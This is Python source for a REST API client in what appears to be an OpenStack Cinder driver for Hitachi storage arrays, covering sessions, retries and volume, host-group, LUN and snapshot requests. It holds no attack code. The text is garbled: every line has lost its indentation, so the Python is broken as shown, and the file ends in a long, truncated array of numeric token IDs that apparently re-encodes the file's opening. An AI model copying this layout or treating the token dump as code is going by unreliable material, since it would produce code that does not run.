LOG = logging.getLogger(__name__)
MSG = utils.HBSDMsg
def _build_base_url(ip_addr, ip_port):
return '%(https)s%(ip)s:%(port)s/ConfigurationManager' % {
'https': _HTTPS,
'ip': ip_addr,
'port': ip_port,
}
class ResponseData(dict):
def is_json(self):
return (self['rsp'].content and
'json' in self['rsp'].headers['Content-Type'])
def _init_content(self):
"""Set response object."""
if self.is_json():
self['rsp_body'] = self['rsp'].json()
elif self['rsp'].content:
self['rsp_body'] = self['rsp'].text
else:
self['rsp_body'] = None
def _init_error(self):
"""Set error object"""
if self['rsp_body'] and 'errorSource' in self['rsp_body']:
self['errobj'] = self['rsp_body']
elif self['rsp_body'] and 'error' in self['rsp_body']:
self['errobj'] = self['rsp_body']['error']
else:
self['errobj'] = {}
def __init__(self, rsp):
"""Initialize instance variables."""
super(ResponseData, self).__init__()
self['rsp'] = rsp
self['status_code'] = rsp.status_code
self._init_content()
self._init_error()
def job_succeeded(self):
return (self.is_json() and
self['rsp_body'].get('status') == 'Completed' and
self['rsp_body'].get('state') == 'Succeeded')
def get_err_code(self):
return utils.safe_get_err_code(self['errobj'])
def get_return_code(self):
return utils.safe_get_return_code(self['errobj'])
def is_success(self, ignore_error, ignore_message_id,
ignore_return_code, ignore_all_errors=False):
"""Check the success or failure of the response."""
return (ignore_all_errors or
self['status_code'] == httpclient.OK or
(self['status_code'] == httpclient.ACCEPTED and
self.job_succeeded()) or
self.get_err_code() in ignore_error or
self['errobj'].get('messageId') in ignore_message_id or
self.get_return_code() in ignore_return_code)
def is_locked(self):
"""Check if a response is the error of the lock factor."""
if not self['errobj']:
return False
message_id = self['errobj'].get('messageId')
retcode = self['errobj'].get('errorCode', {}).get('errorCode')
return (message_id in _MSGID_LOCK_FAILURE or
self.get_err_code() in _REST_LOCKED_ERRORS or
retcode == 'EX_EACCES')
def is_auth_fail(self):
"""Check if a response is an authorization error."""
return self['status_code'] == httpclient.UNAUTHORIZED
def get_message_id(self):
return utils.safe_get_message_id(self['errobj'])
def is_no_retry_error(self, no_retry_error_code):
"""Check if a response is a no retry error."""
return (not self.is_auth_fail() and
((self['status_code'] not in
list(range(200, 300)) + list(range(500, 600))) or
self.get_err_code() in no_retry_error_code or
self.get_message_id() in _REST_NO_RETRY_MESSAGEIDS))
def is_rest_server_busy(self):
"""Check if a response is a server busy error."""
if not self['errobj']:
return False
message_id = self['errobj'].get('messageId')
return (message_id in _MSGID_REST_SERVER_BUSY)
def get_errobj(self):
return {
'errorSource': self['errobj'].get('errorSource', ''),
'messageId': self['errobj'].get('messageId', ''),
'message': self['errobj'].get('message', ''),
'cause': self['errobj'].get('cause', ''),
'solution': self['errobj'].get('solution', ''),
'errorCode': self['errobj'].get('errorCode', {}),
}
def get_job_result(self):
return {'job_id': self['rsp_body'].get('jobId', ''),
'status': self['rsp_body'].get('status', ''),
'state': self['rsp_body'].get('state', '')}
class RestApiClient():
def __init__(self, ip_addr, ip_port, storage_device_id,
user_id, user_pass, tcp_keepalive=False,
verify=False, connect_timeout=_DEFAULT_CONNECT_TIMEOUT):
"""Initialize instance variables."""
self.ip_addr = ip_addr
self.ip_port = ip_port
self.storage_id = storage_device_id
self.storage_info = {}
self.user_id = user_id
self.user_pass = <PASSWORD>
self.tcp_keepalive = tcp_keepalive
self.verify = verify
self.connect_timeout = connect_timeout
self.login_lock = threading.Lock()
self.keep_session_loop = loopingcall.FixedIntervalLoopingCall(
self._keep_session)
self.base_url = _build_base_url(ip_addr, self.ip_port)
self.object_url = '%(base_url)s/v1/objects/storages/%(storage_id)s' % {
'base_url': self.base_url,
'storage_id': self.storage_id,
}
self.service_url = '%(base_url)s/v1/%(storage_id)s/services' % {
'base_url': self.base_url,
'storage_id': self.storage_id,
}
self.headers = {"content-type": "application/json",
"accept": "application/json"}
class Session(requests.auth.AuthBase):
def __init__(self, id, token):
"""Initialize instance variables."""
self.id = id
self.token = token
def __call__(self, req):
req.headers['Authorization'] = 'Session %(token)s' % {
'token': self.token,
}
return req
def _request(self, method, url, params=None, body=None,
async_=False, **kwargs):
"""Transmit the request to REST API server."""
kwargs.setdefault('ignore_error', [])
kwargs['no_retry_error'] = (kwargs['ignore_error'] +
REST_NO_RETRY_ERRORS)
kwargs.setdefault('no_retry', False)
kwargs.setdefault('do_raise', True)
kwargs.setdefault('ignore_message_id', [])
kwargs.setdefault('no_relogin', False)
kwargs.setdefault('ignore_return_code', [])
kwargs.setdefault('ignore_all_errors', False)
kwargs.setdefault('timeout_message', None)
kwargs.setdefault('no_log', False)
kwargs.setdefault('timeout', _EXEC_MAX_WAITTIME)
headers = dict(self.headers)
if async_:
read_timeout = (_JOB_API_RESPONSE_TIMEOUT +
_RESPONSE_TIMEOUT_TOLERANCE)
headers.update({
"Response-Max-Wait": str(_JOB_API_RESPONSE_TIMEOUT),
"Response-Job-Status": "Completed;"})
else:
read_timeout = _GET_API_RESPONSE_TIMEOUT
auth_data = kwargs.get('auth', self.get_my_session())
timeout = (self.connect_timeout, read_timeout)
interval = kwargs.get('interval', _EXEC_RETRY_INTERVAL)
retry = True
start_time = timeutils.utcnow()
watch = timeutils.StopWatch()
while retry:
watch.restart()
try:
with requests.Session() as session:
if self.tcp_keepalive:
session.mount(_HTTPS, TCPKeepAliveAdapter())
rsp = session.request(method, url,
params=params,
json=body,
headers=headers,
auth=auth_data,
timeout=timeout,
verify=self.verify)
except Exception as e:
msg = utils.output_log(
MSG.REST_SERVER_CONNECT_FAILED,
exception=type(e), message=e,
method=method, url=url, params=params, body=body)
raise utils.HBSDError(msg)
response = ResponseData(rsp)
if (response['status_code'] == httpclient.INTERNAL_SERVER_ERROR and
kwargs['timeout'] < _REST_SERVER_RESTART_TIMEOUT):
kwargs['timeout'] = _REST_SERVER_RESTART_TIMEOUT
if (response['status_code'] == httpclient.SERVICE_UNAVAILABLE and
kwargs['timeout'] < _REST_SERVER_ERROR_TIMEOUT):
kwargs['timeout'] = _REST_SERVER_ERROR_TIMEOUT
retry, rsp_data, errobj = self._check_rest_api_response(
response, start_time,
method=method, url=url, params=params, body=body, **kwargs)
if retry:
watch.stop()
idle = max(interval - watch.elapsed(), 0)
greenthread.sleep(idle)
if not kwargs['no_relogin'] and response.is_auth_fail():
auth_data = self.get_my_session()
return rsp_data, errobj
def _check_rest_api_response(
self, response, start_time, method=None,
url=None, params=None, body=None, **kwargs):
"""Check the response from REST API server."""
rsp_body = response['rsp_body']
errobj = response['errobj']
if response.is_locked():
if (kwargs['no_retry'] or
utils.timed_out(start_time, _LOCK_WAITTIME)):
msg = utils.output_log(MSG.REST_API_FAILED,
no_log=kwargs['no_log'],
method=method, url=url,
params=params, body=body,
**response.get_errobj())
if kwargs['do_raise']:
raise utils.HBSDError(msg, errobj=errobj)
return False, rsp_body, errobj
else:
LOG.debug("The resource group to which the operation object ",
"belongs is being locked by other software.")
return True, rsp_body, errobj
if response.is_success(kwargs['ignore_error'],
kwargs['ignore_message_id'],
kwargs['ignore_return_code'],
kwargs['ignore_all_errors']):
return False, rsp_body, errobj
if (kwargs['no_retry'] and
response['status_code'] != httpclient.INTERNAL_SERVER_ERROR or
response.is_no_retry_error(kwargs['no_retry_error'])):
retry = False
elif response.is_auth_fail():
retry = self.relogin(kwargs['no_relogin'])
else:
retry = True
if retry and response.is_rest_server_busy():
if utils.timed_out(start_time, _REST_SERVER_BUSY_TIMEOUT):
retry = False
elif retry and utils.timed_out(start_time, kwargs['timeout']):
if kwargs['timeout_message']:
utils.output_log(kwargs['timeout_message'][0],
**kwargs['timeout_message'][1])
if response.is_json():
msg = utils.output_log(MSG.REST_API_TIMEOUT,
no_log=kwargs['no_log'],
method=method, url=url,
params=params, body=body,
**response.get_job_result())
if errobj:
msg = utils.output_log(MSG.REST_API_FAILED,
no_log=kwargs['no_log'],
method=method, url=url,
params=params, body=body,
**response.get_errobj())
else:
msg = utils.output_log(MSG.REST_API_HTTP_ERROR,
no_log=kwargs['no_log'],
status_code=response['status_code'],
response_body=rsp_body,
method=method, url=url,
params=params, body=body)
if kwargs['do_raise']:
raise utils.HBSDError(msg, errobj=errobj)
return False, rsp_body, errobj
if errobj:
LOG.debug('ERROR %s', errobj)
else:
LOG.debug('ERROR %s', ' '.join(str(rsp_body).splitlines()))
if not retry:
if response.is_json():
msg = utils.output_log(MSG.REST_API_FAILED,
no_log=kwargs['no_log'],
method=method, url=url,
params=params, body=body,
**response.get_errobj())
else:
msg = utils.output_log(MSG.REST_API_HTTP_ERROR,
no_log=kwargs['no_log'],
status_code=response['status_code'],
response_body=rsp_body,
method=method, url=url,
params=params, body=body)
if kwargs['do_raise']:
raise utils.HBSDError(msg, errobj=errobj)
return retry, rsp_body, errobj
def set_my_session(self, session):
self.session = session
def get_my_session(self):
return getattr(self, 'session', None)
def _login(self, do_raise=True):
"""Establishes a session and manages the session."""
url = '%(url)s/sessions' % {
'url': self.object_url,
}
auth = (self.user_id, self.user_pass)
rsp, err = self._request("POST", url, auth=auth, no_relogin=True,
do_raise=do_raise, timeout=_LOCK_WAITTIME)
if not err:
self.set_my_session(self.Session(rsp["sessionId"], rsp["token"]))
return True
else:
return False
def login(self):
"""Establishes a session and manages the session."""
LOG.debug("Trying to login.")
return self._login()
def get_session(self, session_id, **kwargs):
"""Get a session information."""
url = '%(url)s/sessions/%(id)s' % {
'url': self.object_url,
'id': session_id,
}
return self._get_object(url, **kwargs)
def _has_session(self):
"""Check if there is a session managing."""
has_session = False
try:
session = self.get_my_session()
if session is not None:
self.get_session(session.id, no_retry=True, no_log=True)
has_session = True
except utils.HBSDError as ex:
LOG.debug('Failed to get session info: %s', ex)
return has_session
def relogin(self, no_relogin, no_log=False):
"""Establishes a session again."""
retry = False
if not no_relogin:
with self.login_lock:
retry = self._has_session()
if not retry:
LOG.debug("Trying to re-login.")
retry = self._login(do_raise=False)
if not retry:
utils.output_log(
MSG.REST_LOGIN_FAILED,
no_log=no_log, user=self.user_id)
return retry
def _keep_session(self):
"""Keep a session."""
LOG.debug('_keep_session thread is started')
try:
self.relogin(False, no_log=True)
except Exception as ex:
LOG.debug(
'relogin() in _keep_session() failed. %s', ex)
def enter_keep_session(self):
"""Begin the keeping of a session."""
self.keep_session_loop.start(_KEEP_SESSION_LOOP_INTERVAL)
LOG.debug('enter_keep_session')
def _get_object(self, url, params=None, **kwargs):
"""Transmit a GET request that appointed object ID."""
rsp = self._request("GET", url, params=params, **kwargs)[0]
return rsp if rsp else None
def _get_objects(self, url, params=None, **kwargs):
"""Transmit a GET request."""
rsp = self._request("GET", url, params=params, **kwargs)[0]
return rsp.get("data") if rsp else None
def _add_object(self, url, body, **kwargs):
"""Transmit a POST request."""
rsp, errobj = self._request(
"POST", url, body=body, async_=True, **kwargs)
if not rsp:
return None, errobj
resources = rsp.get('affectedResources')
if resources:
return resources[0].split('/')[-1], errobj
return None, errobj
def _delete_object(self, url, params=None, body=None, **kwargs):
"""Transmit a DELETE request."""
self._request("DELETE", url, params=params, body=body, async_=True,
**kwargs)
def _invoke(self, url, body=None, **kwargs):
"""Transmit a PUT request."""
self._request("PUT", url, body=body, async_=True, **kwargs)
def get_pools(self, params=None):
"""Get a list of pool information."""
url = '%(url)s/pools' % {
'url': self.object_url,
}
return self._get_objects(url, params=params)
def get_pool(self, pool_id, **kwargs):
"""Get a pool information."""
url = '%(url)s/pools/%(id)s' % {
'url': self.object_url,
'id': pool_id,
}
return self._get_object(url, **kwargs)
def get_ldev(self, ldev_id, **kwargs):
"""Get a ldev information."""
url = '%(url)s/ldevs/%(id)s' % {
'url': self.object_url,
'id': ldev_id,
}
return self._get_object(url, **kwargs)
def get_ldevs(self, params=None, **kwargs):
"""Get a list of ldev information."""
url = '%(url)s/ldevs' % {
'url': self.object_url,
}
return self._get_objects(url, params=params, **kwargs)
def add_ldev(self, body, **kwargs):
"""Add a ldev information."""
url = '%(url)s/ldevs' % {
'url': self.object_url,
}
ldev_id = self._add_object(url, body=body, **kwargs)[0]
return int(ldev_id) if ldev_id else None
def delete_ldev(self, ldev_id, body=None, **kwargs):
"""Delete a ldev information."""
url = '%(url)s/ldevs/%(id)s' % {
'url': self.object_url,
'id': ldev_id,
}
self._delete_object(url, body=body, **kwargs)
def modify_ldev(self, ldev_id, body):
"""Modify a ldev information."""
url = '%(url)s/ldevs/%(id)s' % {
'url': self.object_url,
'id': ldev_id,
}
self._invoke(url, body=body)
def extend_ldev(self, ldev_id, body):
"""Expand a ldev size."""
url = '%(url)s/ldevs/%(id)s/actions/%(action)s/invoke' % {
'url': self.object_url,
'id': ldev_id,
'action': 'expand',
}
self._invoke(url, body=body, timeout=_EXTEND_WAITTIME)
def get_ports(self, params=None):
"""Get a list of port information."""
url = '%(url)s/ports' % {
'url': self.object_url,
}
return self._get_objects(url, params=params)
def get_port(self, port_id):
"""Get a port information."""
url = '%(url)s/ports/%(id)s' % {
'url': self.object_url,
'id': port_id,
}
return self._get_object(url)
def get_host_grps(self, params=None):
"""Get a list of host group information."""
url = '%(url)s/host-groups' % {
'url': self.object_url,
}
return self._get_objects(url, params=params)
def get_host_grp(self, port_id, host_group_number):
"""Get a host group information."""
url = '%(url)s/host-groups/%(port)s,%(number)d' % {
'url': self.object_url,
'port': port_id,
'number': host_group_number,
}
return self._get_object(url)
def add_host_grp(self, body, **kwargs):
"""Add a host group information."""
url = '%(url)s/host-groups' % {
'url': self.object_url,
}
host_group_id = self._add_object(url, body=body, **kwargs)[0]
return int(host_group_id.split(',')[-1]) if host_group_id else None
def delete_host_grp(self, port_id, host_group_number):
"""Delete a host group information."""
url = '%(url)s/host-groups/%(port)s,%(number)d' % {
'url': self.object_url,
'port': port_id,
'number': host_group_number,
}
self._delete_object(url)
def modify_host_grp(self, port_id, host_group_number, body, **kwargs):
"""Modify a host group information."""
url = '%(url)s/host-groups/%(port)s,%(number)d' % {
'url': self.object_url,
'port': port_id,
'number': host_group_number,
}
self._invoke(url, body=body, **kwargs)
def get_hba_wwns(self, port_id, host_group_number):
"""Get a list of wwn information."""
url = '%(url)s/host-wwns' % {
'url': self.object_url,
}
params = {"portId": port_id, "hostGroupNumber": host_group_number}
return self._get_objects(url, params=params)
def get_hba_wwns_by_name(self, port_id, host_group_name):
"""Get a list of wwn information of the specified name."""
url = '%(url)s/host-wwns' % {
'url': self.object_url,
}
params = {"portId": port_id, "hostGroupName": host_group_name}
return self._get_objects(url, params=params)
def add_hba_wwn(self, port_id, host_group_number, host_wwn, **kwargs):
"""Add a wwn information."""
url = '%(url)s/host-wwns' % {
'url': self.object_url,
}
body = {"hostWwn": host_wwn, "portId": port_id,
"hostGroupNumber": host_group_number}
return self._add_object(url, body=body, **kwargs)[0]
def get_hba_iscsis(self, port_id, host_group_number):
"""Get a list of ISCSI information."""
url = '%(url)s/host-iscsis' % {
'url': self.object_url,
}
params = {"portId": port_id, "hostGroupNumber": host_group_number}
return self._get_objects(url, params=params)
def get_hba_iscsis_by_name(self, port_id, host_group_name):
"""Get a list of ISCSI information of the specified name."""
url = '%(url)s/host-iscsis' % {
'url': self.object_url,
}
params = {"portId": port_id, "hostGroupName": host_group_name}
return self._get_objects(url, params=params)
def add_hba_iscsi(self, port_id, host_group_number, iscsi_name):
"""Add a ISCSI information."""
url = '%(url)s/host-iscsis' % {
'url': self.object_url,
}
body = {"iscsiName": iscsi_name, "portId": port_id,
"hostGroupNumber": host_group_number}
return self._add_object(url, body=body)[0]
def get_luns(self, port_id, host_group_number,
is_basic_lun_information=False):
"""Get a list of lun information."""
url = '%(url)s/luns' % {
'url': self.object_url,
}
params = {"portId": port_id, "hostGroupNumber": host_group_number,
"isBasicLunInformation": is_basic_lun_information}
return self._get_objects(url, params=params)
def add_lun(self, port_id, host_group_number, ldev_id, lun=None, **kwargs):
"""Add a lun information."""
url = '%(url)s/luns' % {
'url': self.object_url,
}
body = {"portId": port_id, "hostGroupNumber": host_group_number,
"ldevId": ldev_id}
if lun is not None:
body['lun'] = lun
lun_id, errobj = self._add_object(url, body=body, **kwargs)
return int(lun_id.split(',')[-1]) if lun_id else None, errobj
def delete_lun(self, port_id, host_group_number, lun, **kwargs):
"""Delete a lun information."""
url = '%(url)s/luns/%(port)s,%(number)s,%(lun)d' % {
'url': self.object_url,
'port': port_id,
'number': host_group_number,
'lun': lun,
}
self._delete_object(url, **kwargs)
def get_snapshots(self, params=None):
"""Get a list of snapshot information."""
url = '%(url)s/snapshots' % {
'url': self.object_url,
}
return self._get_objects(url, params=params)
def add_snapshot(self, body, **kwargs):
"""Add a snapshot information."""
url = '%(url)s/snapshots' % {
'url': self.object_url,
}
return self._add_object(url, body=body, **kwargs)[0]
def delete_snapshot(self, pvol_ldev_id, mu_number, **kwargs):
"""Delete a snapshot information."""
url = '%(url)s/snapshots/%(pvol)d,%(mu)d' % {
'url': self.object_url,
'pvol': pvol_ldev_id,
'mu': mu_number,
}
self._delete_object(url, **kwargs)
def unassign_snapshot_volume(self, pvol_ldev_id, mu_number, **kwargs):
"""Unassign a snapshot information."""
url = '%(url)s/snapshots/%(pvol)d,%(mu)d/actions/%(action)s/invoke' % {
'url': self.object_url,
'pvol': pvol_ldev_id,
'mu': mu_number,
'action': 'unassign-volume',
}
self._invoke(url, **kwargs)
def restore_snapshot(self, pvol_ldev_id, mu_number, body=None):
"""Restore a snapshot information."""
url = '%(url)s/snapshots/%(pvol)d,%(mu)d/actions/%(action)s/invoke' % {
'url': self.object_url,
'pvol': pvol_ldev_id,
'mu': mu_number,
'action': 'restore',
}
self._invoke(url, body=body)
def discard_zero_page(self, ldev_id):
"""Return the ldev's no-data pages to the storage pool."""
url = '%(url)s/ldevs/%(id)s/actions/%(action)s/invoke' % {
'url': self.object_url,
'id': ldev_id,
'action': 'discard-zero-page',
}
self._invoke(url)
| [
1,
396,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29906,
29900,
29892,
14309,
26213,
29892,
19806,
29889,
13,
29937,
13,
29937,
1678,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
366,
1122,
13,
29937,
1678,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
887,
1122,
4017,
13,
29937,
1678,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
308,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
1678,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
1678,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
399,
1806,
8187,
2692,
13,
29937,
1678,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
2823,
278,
13,
29937,
1678,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
27028,
13,
29937,
1678,
1090,
278,
19245,
29889,
13,
15945,
29908,
13,
1525,
1254,
3450,
3132,
770,
363,
14309,
26213,
379,
29933,
7230,
26391,
29889,
13,
13,
15945,
29908,
13,
13,
3166,
1732,
1053,
3132,
408,
1732,
4645,
13,
5215,
3244,
292,
13,
13,
3166,
1741,
1026,
1053,
1395,
9097,
949,
13,
3166,
1589,
858,
650,
5150,
29896,
29889,
7924,
1053,
19374,
9598,
1022,
29909,
9258,
6168,
13,
3166,
2897,
417,
29918,
1188,
1053,
1480,
408,
12183,
13,
3166,
2897,
417,
29918,
5509,
1053,
26113,
4804,
13,
3166,
2897,
417,
29918,
13239,
1053,
931,
13239,
13,
5215,
7274,
13,
13,
3166,
274,
4995,
29889,
24623,
29889,
24477,
874,
29889,
27342,
26213,
1053,
298,
29890,
4928,
29918,
13239,
408,
3667,
29879,
13,
13,
29918,
21339,
29918,
12982,
1806,
15307,
353,
29871,
29906,
334,
29871,
29953,
29900,
334,
29871,
29953,
29900,
13,
29918,
5746,
11206,
29918,
12648,
29918,
12982,
1806,
15307,
353,
29871,
29941,
29900,
13,
29918,
12194,
11794,
29918,
12982,
1806,
15307,
353,
29871,
29896,
29900,
334,
29871,
29953,
29900,
13,
29918,
5746,
11206,
29918,
1525,
5659,
29979,
29918,
23845,
8932,
353,
29871,
29945,
13,
29918,
23397,
29918,
6007,
8186,
1783,
29918,
15307,
12015,
353,
29871,
29941,
29900,
13,
29918,
1525,
5550,
1164,
1660,
29918,
15307,
12015,
29918,
4986,
29931,
1001,
23219,
353,
29871,
29941,
29900,
13,
29918,
29967,
14824,
29918,
8787,
29918,
1525,
5550,
1164,
1660,
29918,
15307,
12015,
353,
29871,
29941,
29900,
334,
29871,
29953,
29900,
13,
29918,
7194,
29918,
8787,
29918,
1525,
5550,
1164,
1660,
29918,
15307,
12015,
353,
29871,
29941,
29900,
334,
29871,
29953,
29900,
13,
29918,
1525,
1254,
29918,
18603,
29918,
29933,
3308,
29979,
29918,
15307,
12015,
353,
29871,
29906,
334,
29871,
29953,
29900,
334,
29871,
29953,
29900,
13,
29918,
1525,
1254,
29918,
18603,
29918,
1525,
25826,
29918,
15307,
12015,
353,
29871,
29896,
29900,
334,
29871,
29953,
29900,
13,
29918,
1525,
1254,
29918,
18603,
29918,
11432,
29918,
15307,
12015,
353,
29871,
29896,
29900,
334,
29871,
29953,
29900,
13,
29918,
6059,
15488,
29918,
17493,
29918,
3927,
4590,
29918,
23845,
8932,
353,
29871,
29941,
334,
29871,
29953,
29900,
13,
13,
29918,
10493,
29903,
353,
525,
991,
597,
29915,
13,
13,
29918,
1525,
1254,
29918,
21339,
3352,
29918,
11432,
29903,
353,
518,
13,
1678,
6702,
29906,
29923,
29896,
29896,
742,
525,
29906,
29906,
29900,
29945,
5477,
13,
1678,
6702,
29906,
29923,
29896,
29896,
742,
525,
29906,
29906,
29900,
29955,
5477,
13,
29962,
13,
29931,
2287,
29963,
29918,
1964,
16310,
29979,
29918,
24405,
1177,
3352,
353,
6702,
29906,
29923,
29906,
29906,
742,
525,
29900,
29900,
29900,
29896,
1495,
13,
6632,
29918,
26612,
6227,
6181,
29918,
29931,
2287,
29963,
29918,
1367,
353,
6702,
29906,
29923,
29896,
29896,
742,
525,
29906,
29906,
29900,
29929,
1495,
13,
1177,
26707,
29918,
19296,
3301,
7068,
2891,
29918,
13152,
5607,
353,
6702,
29906,
29923,
29941,
29900,
742,
525,
29953,
29900,
29900,
29923,
1495,
13,
29918,
4345,
29954,
1367,
29918,
1525,
1254,
29918,
18603,
29918,
29933,
3308,
29979,
353,
6702,
29968,
8322,
29900,
29900,
29900,
29900,
29941,
29899,
29923,
742,
29897,
13,
29918,
4345,
29954,
1367,
29918,
21339,
29918,
4519,
6227,
11499,
353,
6702,
29968,
8322,
29946,
29900,
29900,
29945,
29900,
29899,
29923,
742,
525,
29968,
8322,
29946,
29900,
29900,
29945,
29896,
29899,
29923,
742,
525,
29968,
8322,
29946,
29900,
29900,
29945,
29906,
29899,
29923,
1495,
13,
5746,
4741,
3352,
29918,
29956,
16048,
29918,
12648,
353,
6702,
29933,
29929,
29945,
29955,
742,
525,
29946,
29896,
29947,
29946,
1495,
13,
2190,
2891,
4448,
29918,
29931,
2287,
29963,
29918,
1529,
18009,
3352,
353,
6702,
29933,
29929,
29945,
29947,
742,
525,
29900,
29929,
29946,
29955,
1495,
13,
1525,
1254,
29918,
6632,
29918,
1525,
5659,
29979,
29918,
11432,
29903,
353,
518,
13,
1678,
6702,
29906,
29923,
29896,
29900,
742,
525,
29929,
29955,
29900,
29945,
5477,
13,
1678,
6702,
29906,
29923,
29896,
29900,
742,
525,
29929,
29955,
29900,
29953,
5477,
13,
1678,
6702,
29906,
29923,
29896,
29900,
742,
525,
29929,
29955,
29900,
29955,
5477,
13,
1678,
6702,
29906,
29923,
29896,
29896,
742,
525,
29947,
29941,
29900,
29941,
5477,
13,
1678,
6702,
29906,
29923,
29941,
29900,
742,
525,
29900,
29900,
29900,
29955,
5477,
13,
1678,
6702,
29933,
29929,
29945,
29953,
742,
525,
29941,
29896,
29955,
29941,
5477,
13,
1678,
6702,
29933,
29929,
29945,
29953,
742,
525,
29941,
29896,
29928,
29955,
5477,
13,
1678,
6702,
29933,
29929,
29945,
29953,
742,
525,
29941,
29896,
29928,
29929,
5477,
13,
1678,
6702,
29933,
29929,
29945,
29955,
742,
525,
29946,
29896,
29947,
29947,
5477,
13,
1678,
6702,
29933,
29929,
29945,
29947,
742,
525,
29900,
29896,
29945,
29909,
5477,
13,
1678,
6702,
29933,
29929,
29945,
29947,
742,
525,
29900,
29896,
29945,
29923,
5477,
13,
1678,
365,
2287,
29963,
29918,
1964,
16310,
29979,
29918,
24405,
1177,
3352,
29892,
13,
1678,
11698,
29918,
26612,
6227,
6181,
29918,
29931,
2287,
29963,
29918,
1367,
29892,
13,
1678,
8528,
4741,
3352,
29918,
29956,
16048,
29918,
12648,
29892,
13,
1678,
2672,
26707,
29918,
19296,
3301,
7068,
2891,
29918,
13152,
5607,
29892,
13,
29962,
13,
4345,
29954,
1367,
29918,
29903,
4162,
8426,
3738,
3352,
29918,
14824,
17637,
29918,
3970,
2890,
29918,
12256,
29918,
5746,
9047,
353,
525,
29968,
8322,
29941,
29900,
29900,
29896,
29941,
29899,
29923,
29915,
13,
29918,
1525,
1254,
29918,
6632,
29918,
1525,
5659,
29979,
29918,
2303,
1799,
10461,
1367,
29903,
353,
518,
13,
1678,
10888,
29954,
1367,
29918,
29903,
4162,
8426,
3738,
3352,
29918,
14824,
17637,
29918,
3970,
2890,
29918,
12256,
29918,
5746,
9047,
13,
29962,
13,
13,
14480,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
4345,
29954,
353,
3667,
29879,
29889,
29950,
29933,
7230,
16190,
13,
13,
13,
1753,
903,
4282,
29918,
3188,
29918,
2271,
29898,
666,
29918,
10030,
29892,
10377,
29918,
637,
1125,
13,
1678,
736,
14210,
29898,
991,
29897,
29879,
29995,
29898,
666,
29897,
29879,
16664,
29898,
637,
29897,
29879,
29914,
8614,
3260,
29915,
1273,
426,
13,
4706,
525,
991,
2396,
903,
10493,
29903,
29892,
13,
4706,
525,
666,
2396,
10377,
29918,
10030,
29892,
13,
4706,
525,
637,
2396,
10377,
29918,
637,
29892,
13,
1678,
500,
13,
13,
13,
1990,
13291,
1469,
29898,
8977,
1125,
13,
13,
1678,
822,
338,
29918,
3126,
29898,
1311,
1125,
13,
4706,
736,
313,
1311,
1839,
29878,
1028,
13359,
3051,
322,
13,
18884,
525,
3126,
29915,
297,
1583,
1839,
29878,
1028,
13359,
13662,
1839,
3916,
29899,
1542,
11287,
13,
13,
1678,
822,
903,
2344,
29918,
3051,
29898,
1311,
1125,
13,
4706,
9995,
2697,
2933,
1203,
1213,
15945,
13,
4706,
565,
1583,
29889,
275,
29918,
3126,
7295,
13,
9651,
1583,
1839,
29878,
1028,
29918,
2587,
2033,
353,
1583,
1839,
29878,
1028,
13359,
3126,
580,
13,
4706,
25342,
1583,
1839,
29878,
1028,
13359,
3051,
29901,
13,
9651,
1583,
1839,
29878,
1028,
29918,
2587,
2033,
353,
1583,
1839,
29878,
1028,
13359,
726,
13,
4706,
1683,
29901,
13,
9651,
1583,
1839,
29878,
1028,
29918,
2587,
2033,
353,
6213,
13,
13,
1678,
822,
903,
2344,
29918,
2704,
29898,
1311,
1125,
13,
4706,
9995,
2697,
1059,
1203,
15945,
29908,
13,
4706,
565,
1583,
1839,
29878,
1028,
29918,
2587,
2033,
322,
525,
2704,
4435,
29915,
297,
1583,
1839,
29878,
1028,
29918,
2587,
2033,
29901,
13,
9651,
1583,
1839,
261,
13716,
29926,
2033,
353,
1583,
1839,
29878,
1028,
29918,
2587,
2033,
13,
4706,
25342,
1583,
1839,
29878,
1028,
29918,
2587,
2033,
322,
525,
2704,
29915,
297,
1583,
1839,
29878,
1028,
29918,
2587,
2033,
29901,
13,
9651,
1583,
1839,
261,
13716,
29926,
2033,
353,
1583,
1839,
29878,
1028,
29918,
2587,
16215,
2704,
2033,
13,
4706,
1683,
29901,
13,
9651,
1583,
1839,
261,
13716,
29926,
2033,
353,
6571,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
364,
1028,
1125,
13,
4706,
9995,
6644,
6646,
2777,
3651,
1213,
15945,
13,
4706,
2428,
29898,
5103,
1469,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
1839,
29878,
1028,
2033,
353,
364,
1028,
13,
4706,
1583,
1839,
4882,
29918,
401,
2033,
353,
364,
1028,
29889,
4882,
29918,
401,
13,
4706,
1583,
3032,
2344,
29918,
3051,
580,
13,
4706,
1583,
3032,
2344,
29918,
2704,
580,
13,
13,
1678,
822,
4982,
29918,
29879,
1682,
3947,
287,
29898,
1311,
1125,
13,
4706,
736,
313,
1311,
29889,
275,
29918,
3126,
580,
322,
13,
18884,
1583,
1839,
29878,
1028,
29918,
2587,
13359,
657,
877,
4882,
1495,
1275,
525,
26010,
29915,
322,
13,
18884,
1583,
1839,
29878,
1028,
29918,
2587,
13359,
657,
877,
3859,
1495,
1275,
525,
29903,
1682,
3947,
287,
1495,
13,
13,
1678,
822,
679,
29918,
3127,
29918,
401,
29898,
1311,
1125,
13,
4706,
736,
3667,
29879,
29889,
11177,
29918,
657,
29918,
3127,
29918,
401,
29898,
1311,
1839,
261,
13716,
29926,
11287,
13,
13,
1678,
822,
679,
29918,
2457,
29918,
401,
29898,
1311,
1125,
13,
4706,
736,
3667,
29879,
29889,
11177,
29918,
657,
29918,
2457,
29918,
401,
29898,
1311,
1839,
261,
13716,
29926,
11287,
13,
13,
1678,
822,
338,
29918,
8698,
29898,
